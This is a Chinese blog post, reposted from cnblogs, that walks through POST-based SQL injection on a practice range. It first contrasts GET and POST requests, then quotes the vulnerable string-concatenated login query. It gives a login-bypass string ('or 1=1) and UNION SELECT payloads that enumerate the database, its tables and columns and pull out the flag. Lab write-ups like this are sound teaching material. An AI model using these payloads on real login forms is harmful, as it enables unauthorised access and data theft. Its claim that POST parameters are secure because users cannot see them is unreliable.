SQL注入显错注入-POST

时间:2021-09-10
本文章向大家介绍SQL注入显错注入-POST,主要包括SQL注入显错注入-POST使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

post 形式进行传参

测试点:

测试万能密码

'or 1=1 -- qwe

0x00 首先了解post传参与get传参的区别:

特性不同:

Get请求是将数据添加到URL中并传递到服务器,通常利用一个问号“?”代表URL地址的结尾与数据参数的开端。Post请求数据是放在HTTP主体中的,其组织方式不只一种,有"&"连接方式,也有分割符方式,可隐藏参数,传递大批数据,比较方便。

传输方式不同:

get方式把参数数据列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段分别对应,在URL中可以看到。post方式通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。

服务端获取数据方式不同:

get方式是服务器端用Request.QueryString获取变量的值。post方式是务器端用Request.Form获取提交的数据。

传输数据量不同:

get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般默认为不受限制。但实际上会因为服务器的不同有所差异。

安全性不同:

由于get方式传递的参数可以在页面上看见,所以get安全性非常低。Psot方式传递的参数用户不可见,因此post安全性较高。

0x01 靶场测试

靶场环境:封神台靶场

漏洞关键代码:

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';

查看代码只对'(单引号做了过滤),绕过方式 在POST数据接口 跟上 a' 即可

在登录口 输入 admin' or 1=1# 万能密码 绕过

原理 在和数据库交互的使用 'or 1=1 条件成立

从而绕过了验证机制

判断注入存在

进过测试发现存在3个字段的注入点

使用一下SQL语句查看回显点

or 1=2 因为使用了联合查询,使前面的条件出错

a'or 1=2 union select 1,2,3#

查看库名

库名为 post_error

a' or 1=2 union select 1,database(),3#

查看表

a' or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="post_error" limit 0,1#
a ' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1#'

a' or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

查看字段

a' union select 1,group_concat(column_name),verison from information_schema.columns where table_schema=database() and table_name="flag"#

a' union select 1,group_concat(flag),3 from flag#



原文地址:https://www.cnblogs.com/sunshinelight-sh/p/15250810.html